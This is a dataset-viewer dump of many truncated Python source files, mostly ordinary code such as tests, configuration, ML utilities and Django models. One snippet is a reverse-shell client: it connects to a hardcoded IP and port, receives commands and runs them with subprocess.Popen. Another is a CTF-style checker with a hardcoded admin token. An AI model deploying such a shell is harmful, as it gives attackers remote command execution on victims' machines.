content stringlengths 5 1.05M |
|---|
"""Tests for coBib's config validation."""
# pylint: disable=unused-argument, redefined-outer-name
import logging
import tempfile
from typing import Any, Generator, List
import pytest
from cobib.config import config
from cobib.config.config import Config
from .. import get_resource
EXAMPLE_LITERATURE = get_resourc... |
from __future__ import print_function
import os, sys
from .pytem import Pytem
def print_err(*args):
print(*args, file=sys.stderr)
subject = Pytem("template",'globalfile')
def tag_test():
result = subject.render_string("title : Title---%title%")
print_err(result)
assert result == "<p>Title</p>"
de... |
import multiprocessing
bind = "0.0.0.0:5000"
workers = 1
|
import pandas as pd
import numpy as np
import seaborn as sns
import matplotlib.pyplot as plt
from sklearn.metrics import roc_auc_score, classification_report, confusion_matrix
from sklearn.model_selection import cross_validate
from pandas.api.types import is_numeric_dtype
import statsmodels.api as sm
import warnings
im... |
# -*- coding: utf-8 -*-
# =============================================================================
# Created By : Maximilian Sender
# Copyright : Copyright 2021, Institute of Chemical Engineering, Prof. Dr. Dirk Ziegenbalg, Ulm University'
# License : GNU LGPL
# =============================================... |
from texttable import Texttable
def args_print(args, logger):
_dict = vars(args)
table = Texttable()
table.add_row(["Parameter", "Value"])
for k in _dict:
table.add_row([k, _dict[k]])
logger.info(table.draw())
|
# This file is part of the Reproducible Open Benchmarks for Data Analysis
# Platform (ROB).
#
# Copyright (C) 2019 NYU.
#
# ROB is free software; you can redistribute it and/or modify it under the
# terms of the MIT License; see LICENSE file for more details.
"""Interface to serialize benchmark resource objects."""
... |
import unittest
import quantities as pq
from semantic.units import ConversionService
class TestConversion(unittest.TestCase):
def compareConversion(self, inp, target):
service = ConversionService()
result = service.convert(inp)
self.assertEqual(result.magnitude, target.magnitude)
... |
"""
=======================================
Plotting Neural Network Training Curves
=======================================
This is a basic example using a convolutional recurrent neural network to learn segments directly from time series data
"""
# Author: David Burns
# License: BSD
import matplotlib.pyplot as plt
... |
'''
The MIT License (MIT)
Copyright (c) 2016 Tony Walker
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, ... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Provides the Inventory class.
:copyright:
Lion Krischer (krischer@geophysik.uni-muenchen.de), 2013
:license:
GNU Lesser General Public License, Version 3
(https://www.gnu.org/copyleft/lesser.html)
"""
from __future__ import (absolute_import, division, print... |
# Credits to Raymond Hettinger - Beyond PEP 8
import jnettool.tools.elements.NetworkElement
import jnettool.tools.Routing
import jnettool.tools.RouteInspector
ne = jnnettool.tools.elements.NetworkElement('171.0.2.45')
"""
in some way there is nothing wrong with this code
It works and it's readable.
On the other hand... |
"""An object representing a Node interface"""
from .rsvp import RSVP_LSP
from .exceptions import ModelException
class Interface(object):
"""An object representing a Node interface"""
def __init__(self, name, cost, capacity, node_object, remote_node_object,
address=0):
self.name = na... |
from re import compile, finditer
REGEX = compile(r'\{\{([a-zA-Z]+)\}\}')
REPLS = ('{{', '{'), ('}}', '}')
def create_template(s):
def my_template(**kwargs):
keys = {a.group(1): '' for a in finditer(REGEX, s)}
keys.update(kwargs)
return reduce(lambda a, kv: a.replace(*kv), REPLS, s).format... |
#!/usr/bin/env python
from setuptools import setup, find_packages
import follow
setup(
name='django-follow',
description='Application which enables following features for users. Can be used for contact books or whatnot',
long_description=open('README.rst').read(),
packages=find_packages(),
author=... |
#!/usr/bin/env python3
import signal
import subprocess
import sys
def signal_handler(sig, frame):
print('PREEMPTED')
sys.exit(2)
if __name__ == "main":
# Setup signal handler
signal.signal(signal.SIGINT, signal_handler)
# Launch script, redirect output
subprocess.run(sys.argv, capture_output... |
import os.path
import time
from concurrent import futures
from argparse import ArgumentParser
import grpc
import yaml
from retry import retry
import controller.array_action.errors as array_errors
import controller.controller_server.config as config
import controller.controller_server.utils as utils
from controller.ar... |
#!/usr/bin/env python
"""
author: mzoll <marcel.zoll@fysik.su.se>
please report any errors and possible improvements to the author
"""
import os, numpy, glob
from icecube import icetray, dataclasses, dataio
from icecube.phys_services import goodrunlist
class GCD_inserter(icetray.I3PacketModule):
"""
inserts the... |
import socket
import numpy
try:
import cPickle as pickle
except ImportError:
import pickle
sock = socket.socket()
data= numpy.ones((1, 60))
sock.connect(('localhost',5555))
serialized_data = pickle.dumps(data, protocol=2)
sock.sendall(serialized_data)
sock.close()
sock = socket.socket()
data= numpy.zeros((1, ... |
# Copyright 2013 OpenStack Foundation
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law ... |
/home/runner/.cache/pip/pool/d0/a5/47/6c47b3351e4445146ec52e7eaa10e0d8e240aed1c5c71bfb253a8515c3 |
import asyncio
import time
from aio_counter import AioCounter
async def with_ttl(loop):
counter = AioCounter(max_count=10, start_count=2, ttl=1, loop=loop)
print(counter.count)
print(time.monotonic())
for _ in range(100):
await counter.inc(value=1)
print(time.monotonic())
async de... |
import numpy as np
import cv2 as cv
import sys
from threshold import threshold
from showPic import showImg
def printDilationLines(name):
img_sh = threshold(name + ".png")
im2 = cv.dilate(img_sh, np.ones((15, 15), np.uint8), 1)
lines = cv.HoughLinesP(im2-img_sh, 1, np.pi/180, 100, minLineLength=150, maxLine... |
from py2neo import Graph, Node, Relationship
g = Graph('bolt://localhost:7687')
def get_company_all():
df = g.run(
"MATCH (a :company) RETURN a.company_id as company_id, a.name as name, a.industry as industry LIMIT 4").data()
print("\n\nDF = {}s".format(df))
return df
def get_company_name(crite... |
from docopt import docopt
from collections import OrderedDict
def get_topic_keys(f,examples=10):
topics2keys = {}
with open(f, "r") as topics:
for topic in topics:
topic = topic.split()
_id = int(topic[0])
keys = topic[2:examples+2]
topics2keys[_id] = ke... |
#!/usr/bin/python3
#
# Copyright (c) 2019 Foundries.io
# SPDX-License-Identifier: Apache-2.0
#
import argparse
import logging
import json
import os
import subprocess
import urllib.request
from copy import deepcopy
from tag_manager import TagMgr
logging.basicConfig(level='INFO')
fh = logging.FileHandler('/archive/cust... |
def ZG_rprod(X,Y):
if len(X.shape) < 2:
X = X[:,None]
n,m = X.shape
if Y.shape[0] != n or len(Y.shape) != 1:
print('rprod error')
return None
Y = Y[:,None]
Z = np.multiply(X,np.matmul(Y,np.ones((1,m))))
return Z
|
from typing import Any
from typing import Dict
from typing import List
from typing import NamedTuple
from typing import Optional
from typing import Type
from typing import Union
from pyannotate_runtime.collect_types import InternalType
from pyannotate_runtime.collect_types import resolve_type
from ntgen.config import... |
def checkstr(arm):
count=0
arr1=[]
game=False
for k in range(len(arm)):
for m in range(k+1,len(arm)):
arr1.append(abs(arm[k]-arm[m]))
print(arr1)
for i in range(len(arr1)):
if arr1[i]>=max(arm):
count+=1
if count==((len(arm)*(len(arm)-1)//2)):
game=True
print(count)
return game
arm=[0... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from config import gLocalIP
from config import gLocalPort
from config import gSaveDataFileFullName
from config import gFlyerInitDoneStr
from config import gKeyAcceletorPidStep
from PyQt5.QtGui import *
from PyQt5.QtCore import *
from PyQt5.QtWidgets import *
from PyQt5.... |
from tabulate import tabulate
class RoutesTable(object):
def __init__(self,initRoutes, localHost):
self.__host = localHost
self.__table = initRoutes
self.__table.append([localHost,localHost,0])
# mockHost = '224.0.0.1'
self.__table.append(["192.168.199.101", "192.168.199.134"... |
import random
from requests import *
ADMIN_TOKEN = "CroRQgDwMmJdybKa"
def check(host):
s = session()
# index
result = get(f"http://{host}/index")
if b"/flag" not in result.content:
return 0, "Dead"
result = get(f"http://{host}/flag@3gh3ugh4m.css")
if b"we{" in result.content:
... |
# !/usr/bin/env python3
# -*- encoding: utf-8 -*-
"""
ERP+
"""
__author__ = 'CVtek dev'
__credits__ = []
__version__ = "1.0"
__maintainer__ = "CVTek dev"
__status__ = "Development"
__model_name__ = 'resumo_iva.ResumoIva'
import auth, base_models
from orm import *
from form import *
'''
try:
from my_plano_contas imp... |
import unittest
from mbi.factor import Factor
from mbi.domain import Domain
import numpy as np
class TestFactor(unittest.TestCase):
def setUp(self):
attrs = ['a','b','c']
shape = [2,3,4]
domain = Domain(attrs, shape)
values = np.random.rand(*shape)
self.factor = Factor(doma... |
import logging
from airflow.hooks.postgres_hook import PostgresHook
from airflow.models import BaseOperator
from airflow.utils.decorators import apply_defaults
class ExistRecordCheckOperator(BaseOperator):
@apply_defaults
def __init__(self, redshift_conn_id="", tables=[], *args, **kwargs):
super(Exis... |
import pytest
from pygears.typing import Queue, TemplateArgumentsError, Uint
def test_inheritance():
assert Queue[1].base is Queue
def test_default():
a = Queue[2]
assert a.args[1] == 1
b = Queue[2, 6]
assert b.args[1] == 6
def test_equality():
assert Queue[1] == Queue[1]
assert Queue... |
from Crypto.PublicKey import RSA
key = RSA.generate(2048)
private_key = key.export_key()
file_out = open("pass_private.pem", "wb")
file_out.write(private_key)
public_key = key.publickey().export_key()
file_out = open("pass_public.pem", "wb")
file_out.write(public_key) |
##+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
## Created by: Albert Berenguel
## Computer Vision Center (CVC). Universitat Autonoma de Barcelona
## Email: aberenguel@cvc.uab.es
## Copyright (c) 2017
##
## This source code is licensed under the MIT-style license found in the
## LICENSE file... |
from jumpscale.sals.chatflows.chatflows import chatflow_step
from jumpscale.packages.vdc_dashboard.sals.solutions_chatflow import SolutionsChatflowDeploy
class MattermostDeploy(SolutionsChatflowDeploy):
SOLUTION_TYPE = "mattermost"
title = "Mattermost"
HELM_REPO_NAME = "marketplace"
steps = [
... |
import numpy as np
from elephant.spike_train_generation import homogeneous_poisson_process
from quantities import Hz, s, ms
def square(xs):
return xs*xs
def function_task(f = square, min = -10, max = 10, step = 0.5):
"""
"""
xs = np.arange(start = min, stop = max, step = step)
ys = f(xs)
retu... |
import exifread
from PIL import Image
def pil_verify(ifile):
try:
with Image.open(ifile) as im:
try:
im.verify()
return True
except Exception as e:
#print(e)
#print('Pil.Image.verify() failed: ' + ifile)
... |
# -*- coding: utf-8 -*-
"""
/dms/elixier/views_show.py
.. zeigt Inhalte der Elixier-Datenbank
Django content Management System
Hans Rauch
hans.rauch@gmx.net
Die Programme des dms-Systems koennen frei genutzt und den spezifischen
Beduerfnissen entsprechend angepasst werden.
0.01 18.07.2007 Beginn der Arbe... |
'''
You all have used the random library of python. You have seen in the screen-cast of how powerful it is.
In this assignment, you will sort a list let's say list_1 of numbers in increasing order using the random library.
Following are the steps to sort the numbers using the random library.
Step 1: Import the randin... |
import json
from api import login
from api import (get_orgs, get_facultys, get_groups,
get_schedule, get_exams)
from menu_helpers import input_org_info
def create_org_structure(ip, port, username, password):
access_token, refresh_token = login(ip, port, username, password)
org_struct = {}
... |
from selenium import webdriver
import time
from selenium.webdriver.support.ui import Select
from random import randint
from random import choice
import string
from selenium.webdriver.common.proxy import *
from lxml import html
def set_profile(pr):
profile = webdriver.FirefoxProfile()
profile.set_preference("ne... |
import unittest
from reinvent_scoring import ScoringFunctionComponentNameEnum, ComponentParameters
class BaseTestMatchingSubstructure(unittest.TestCase):
def setUp(self):
sf_enum = ScoringFunctionComponentNameEnum()
self.parameters = ComponentParameters(component_type=sf_enum.MATCHING_SUBSTRUCTU... |
"""
File: Milestone1.py
Name:
-----------------------
This file tests the milestone 1 for
our babyname.py project
"""
import sys
def add_data_for_name(name_data, year, rank, name):
d = {}
if name in name_data:
value = name_data[name]
for yr in value:
rk = value[yr]
if... |
''' Skelly "Taffer presents..." screen class.
By Chris Herborth (https://github.com/Taffer)
MIT license, see LICENSE.md for details.
'''
import pygame
from .ScreenBase import ScreenBase
from ..ui import ColorFade
from ..ui import ImageButton
from ..ui import Label
BLACK = pygame.Color('black')
BLACK_ALPHA = pygame.... |
# from .views import heartbeat
def test_heartbeat(client):
response = client.get('/heartbeat/')
assert response.status_code == 200
data = response.json()
assert data['mode'] == 'simple'
assert data['status'] == 'running'
def test_heartbeat_no_ending_slash(client):
response = client.get('/... |
t = int(input())
for _ in range(t):
n, m = map(int, input().split())
a = set(list(map(int, input().split())))
b = set(list(map(int, input().split())))
print(len(a.intersection(b))) |
# ------------------------------------------------------------------------
# coding=utf-8
# ------------------------------------------------------------------------
"""
Media library-based file inclusion tool. Can handle any type of media file,
not only images.
"""
import warnings
from django import forms
from djang... |
from abc import ABC, abstractmethod
from ..utils import *
import pandas as pd
class AbstractBatchTransformation(ABC):
"""
An abstract class for transformations to be applied
to input data.
"""
@abstractmethod
def __init__(self, **kwargs):
"""
Initializes the transformation a... |
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... |
class Resp(dict):
def __init__(self, data=None, code=200, msg="success"):
super().__init__()
self['data'] = data
self['code'] = code
self['msg'] = msg |
class SimpleFhirR4Reader(object):
"""
A lightweight accessor for a FHIR R4 resource. Not intended to replace the fhirclient library.
This class does not attempt any validation or impose any structure. It is only intended to aid in
reading from FHIR-like data structures.
When performing list lookups, retur... |
# coding: UTF-8
from functools import reduce
import networkx as nx
try:
import pygraphviz as pgv
except Exception:
print("No graphviz")
pass
def create_document_graph(document_item):
# Create Document Graph
graph = nx.DiGraph()
# Add nodes
nodes = reduce(lambda x,y: x+y... |
from django.db import models
from posts.models import Post
import uuid
from main import models as mainModels
from main import utils
class Comment(models.Model):
type = "comment"
id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
author = models.JSONField()
comment = models.Text... |
n=0
s=0
c=0
n=int(input("Digite o valor inicial: "))
while n != 999:
s=s+n
c=c+1
n=int(input("Digite o valor para continuar a soma: "))
print('O valor total somado foi: {}\nForam digitados: {} numeros'.format(s,c))
|
"""
Copyright 2018-2021 Board of Trustees of Stanford University
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, ... |
"""
This script creates a unittest that tests Categorical policies in
metarl.tf.policies.
"""
import gym
import pytest
from metarl.envs import MetaRLEnv, normalize
from metarl.experiment import LocalTFRunner
from metarl.np.baselines import LinearFeatureBaseline
from metarl.tf.algos import TRPO
from metarl.tf.optimizer... |
"""
created: mcclayac
Company Name : BigMAN Software
MyName: Tony McClay
date: 11/23/18
day of month: 23
Project Name: 20PythonLibraries
filename:
package name:
IDE: PyCharm
"""
import dominate
from dominate.tags import *
doc = dominate.document(title='Dominate your ... |
###############################################################################
# Copyright 2015 University of Florida. All rights reserved.
# This file is part of the BlueButton.py project.
# Use of this source code is governed by the license found in the LICENSE file.
#################################################... |
# -*- coding:utf-8 -*-
from __future__ import unicode_literals
default_app_config = 'marchena.modules.attachments.apps.AttachmentsConfig'
|
# Definition for a binary tree node.
class TreeNode:
def __init__(self, val=0, left=None, right=None):
self.val = val
self.left = left
self.right = right
class Solution:
def goodNodes(self, root: TreeNode) -> int:
return self.bfs(root)
def bfs(self,root):
q=[root]
... |
import socket
import os
import subprocess
s = socket.socket()
host = '10.2.242.190'
port = 9999
s.connect((host, port))
while True:
data = s.recv(1024)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8")... |
import django_filters
from cards.models import Card
class CardFilter(django_filters.rest_framework.FilterSet):
card_name = django_filters.CharFilter(lookup_expr='icontains')
set_name = django_filters.CharFilter(lookup_expr='icontains')
type = django_filters.CharFilter(lookup_expr='icontains')
cost = d... |
import numpy as np
def project_image_to_rect(uv_depth, P):
# uv_depth (3, N)
c_u = P[0,2]
c_v = P[1,2]
f_u = P[0,0]
f_v = P[1,1]
b_x = P[0,3]/(-f_u) # relative
b_y = P[1,3]/(-f_v)
# use camera coordinate
n = uv_depth.shape[1]
x = ((uv_depth[0]-c_u)*uv_depth[2])/f_u + b_x
... |
import requests
from flask import Flask, jsonify, request
import blockchain as bc
import json
import sys
import rsa
import base64
from uuid import uuid4
# Cryptocurrency is just a private key that "allows" access to account
(pub_key, priv_key) = rsa.newkeys(512)
# Generate a public key unique address for this node
no... |
from django.urls import include, path
from bbbs.story.views import StoryList
extra_patterns = [
path("story/", StoryList.as_view(), name="stories"),
]
urlpatterns = [
path("v1/", include(extra_patterns)),
]
|
from django.contrib.auth.models import (
AbstractBaseUser,
BaseUserManager,
PermissionsMixin,
)
from django.utils import timezone
from django.core.mail import send_mail
from django.utils.translation import ugettext_lazy as _
from django.db import models
class UserManager(BaseUserManager):
"""
A cu... |
# Copyright (c) 2016 PaddlePaddle Authors. All Rights Reserved
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applic... |
# -*- coding: utf-8 -*-
"""app Description
This module does great things.
"""
import os
import tempfile
import subprocess
import shutil
# Implementation constants
BASH_SCRIPT_HEADER = """#!/bin/bash
#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
# FILE:{}
# DESCRIPTION:{}
# USAGE:{}
#%... |
#
# Copyright (c) 2018 TECHNICAL UNIVERSITY OF MUNICH, DEPARTMENT OF MECHANICAL ENGINEERING, CHAIR OF APPLIED MECHANICS,
# BOLTZMANNSTRASSE 15, 85748 GARCHING/MUNICH, GERMANY, RIXEN@TUM.DE.
#
# Distributed under 3-Clause BSD license. See LICENSE file for more information.
#
"""
AMfe mesh converter for I/O module.
"""
... |
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('content', '0010_sitesettings_google_analytics_token'),
]
operations = [
migrations.AddField(
model_name='page',
name='override_page_template',
field=mode... |
# Copyright 2010 Google Inc.
# Licensed under the Apache License, Version 2.0
# http://www.apache.org/licenses/LICENSE-2.0
# Additional basic string exercises
# D. verbing
# Given a string, if its length is at least 3,
# add 'ing' to its end.
# Unless it already ends in 'ing', in which case
# add 'ly' ins... |
from .loss import *
from .misc import *
from .transform import OutputTransform
|
# Random tests
import math
if 1:
def isqrt(x):
op = x
res = 0
one = 1 << 30
while one > op:
one >>= 2
while one != 0:
if op >= res + one:
op -= res + one
res += one << 1
res >>= 1
one >>= 2
... |
from django.conf.urls import patterns, url
from portfolio.views import (ArtifactDetail, ArtifactList, ProjectDetail,
ProjectList, CategoryDetail, CategoryList)
urlpatterns = patterns(
'',
url(r'^(?P<category_slug>[-\w]+)/projects/(?P<project_slug>[-\w]+)/pages/'
'(?P<artif... |
from setuptools import setup
# Use a consistent encoding
from codecs import open
from os import path
here = path.abspath(path.dirname(__file__))
# Get the long description from the README file
with open(path.join(here, 'README.rst'), encoding='utf-8') as f:
long_description = f.read()
setup(
name='thesmugg... |
# -*- Mode: Python -*-
import coro
import coro.backdoor
import sys
import curses
import pyximport
pyximport.install()
sys.path.append ('/Users/rushing/src/cython')
import newterm
def session (conn, addr):
while 1:
block = conn.recv (1000)
if not block:
break
else:
... |
import numpy as np
import pandas as pd
from tqdm import tqdm
import networkx as nx
import matplotlib.pyplot as plt
in_path = "AMLsubclones_trees.txt"
df = pd.read_csv(in_path,sep=" ")
debug_processing = 0
print_trees = 0
print(df)
genes = df.columns.values[3:]
cases = df["case"].unique()
germline_gene = "germ"
pr... |
import os
inflation_rate_pct = {
2010: 1.5,
2011: 3.0,
2012: 1.7,
2013: 1.5,
2014: 0.8,
2015: 0.7,
2016: 2.1,
2017: 2.1,
2018: 1.9,
2019: 2.3,
2020: 1.4,
}
hvdc_line_cost = {
"kV": 500,
"MW": 3500,
"costMWmi": (3200 / 7),
}
# 2020 USD, from MISO cost estimation... |
# Copyright 2007, 2015 Free Software Foundation, Inc.
# This file is part of GNU Radio
#
# GNU Radio Companion is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your opt... |
import unittest
import os.path
import numpy as np
import numpy.lib.recfunctions as rfn
from geodepy.convert import hp2dec, dec2hp
from geodepy.geodesy import vincinv, vincdir, vincinv_utm, vincdir_utm
class TestGeodesy(unittest.TestCase):
def test_vincinv(self):
# Flinders Peak
lat1 = hp2dec(-37.5... |
# -*- coding: UTF-8 -*-
# Copyright 2015-2018 Luc Saffre
# License: BSD (see file COPYING for details)
from __future__ import unicode_literals
from builtins import str
from django.db import models
from lino.api import dd
@dd.python_2_unicode_compatible
class Person(dd.Model):
name = models.CharField(max_len... |
(lambda: (globals().update({'telethon': __import__('importlib').import_module('telethon.sync')}), globals().update({'c': telethon.TelegramClient('b', input('API ID:'), input('API HASH:')).start(bot_token=input('BOT TOKEN:'))}), c.add_event_handler(lambda e: e.reply('hi'), telethon.events.NewMessage(pattern='!hello')), ... |
# -*- coding: utf8 -*-
"""
Dummy script to averages weight matrix scaling results run with different random seeds
author: András Ecker, last update: 01.2019
"""
import os, pickle
import numpy as np
import pandas as pd
base_path = os.path.sep.join(os.path.abspath(__file__).split(os.path.sep)[:-2])
header = ["multipli... |
#
# Prompts user with dialog box and waits for response before executing, Python
# Module written by Brandon Arvanaghi
# Website: arvanaghi.com
# Twitter: @arvanaghi
# Edited for use in winpayloads
import ctypes
import sys
dialogBoxTitle = "Update Complete";
dialogBoxMessage = "Press OK to Continue"
MessageB... |
import click
import subprocess
from django.db import DEFAULT_DB_ALIAS, connections
@click.command(help="Runs the command-line client for specified database, or the \
default database if none is provided.")
@click.option("-d", "--database", default=DEFAULT_DB_ALIAS, help="Nominates a database onto which to ope... |
""" pkg.core.__init__ """
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import vtk
"""
There are two alternative ways to apply the transform.
1) Use vtkTransformPolyDataFilter to create a new transformed polydata.
This method is useful if the transformed polydata is needed
later in the pipeline
To do this, set USER_MATRIX = Tru... |
# Copyright (C) 2021 Intel Corporation
#
# SPDX-License-Identifier: MIT
import copy
import json
import os.path as osp
import os
import av
import numpy as np
import random
import xml.etree.ElementTree as ET
import zipfile
from io import BytesIO
import itertools
from datumaro.components.dataset import Dataset
from datu... |
#!/usr/bin/env python
import unittest, os
from datetime import datetime
#import app
import models
#from . import app,db
#from .models import FeatureRequest
BASE_DIR = os.path.abspath(os.path.dirname(__file__))
class BasicTests(unittest.TestCase):
def setUp(self):
app.config['SQLALCHEMY_DATABASE_URI'] =... |
from datetime import timedelta
from django.contrib.contenttypes.models import ContentType
from django.utils import timezone
from api.audit_trail.enums import AuditType
from api.audit_trail.models import Audit
from api.audit_trail.tests.factories import AuditFactory
from api.cases.models import Case
from api.teams.tes... |
#!/usr/bin/env python
# coding=utf-8
import tensorflow as tf
import numpy as np
tf.compat.v1.disable_eager_execution()
a = tf.random.normal(shape=[10], dtype=tf.float32)
with tf.device("/MY_DEVICE:0"):
b = tf.nn.relu(a)
sess = tf.compat.v1.Session(config=tf.compat.v1.ConfigProto(allow_soft_placement=False, log_de... |
# Builder Pattern is a unique design pattern which helps in building complex object using simple objects and uses an algorithmic approach.
# In this design pattern, a builder class builds the final object in step-by-step procedure.
# Constructing Complex objects : The Builder Method allows you to construct the produc... |
import pytest
from metadata_guardian.data_rules import AvailableCategory, DataRules
from metadata_guardian.scanner import ColumnScanner, ContentFilesScanner
from metadata_guardian.source import AvroSchemaSource
@pytest.mark.parametrize("local_file", ["example_rules.yaml"], indirect=["local_file"])
def test_get_data_... |
"""
tl;dr: See FutureModelForm's docstring.
Many apps provide new related managers to extend your django models with. For
example, django-tagulous provides a TagField which abstracts an M2M relation
with the Tag model, django-gm2m provides a GM2MField which abstracts an
relation, django-taggit provides a TaggableManag... |
"""
各种资源数据,包括聊天附带的表情、图片
、音频资源由于多个用户的资源可能有同一个,
所以不以userid为关联字段
create by judy 2018/10/18
"""
from commonbaby.helpers import helper_crypto, helper_str
from datacontract.idowndataset import Task
from datacontract.outputdata import EStandardDataType
from .feedbackbase import EResourceType, FeedDataBase, Resource
class ... |
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import logging
import logging.handlers
import re
import sys
import os
from werkzeug.wrappers import Response
import urllib.request, urllib.error, urllib.parse
import requests
from bs4 import BeautifulSoup
import json
import cgi
from cgi import escape
import mwclient
impor... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.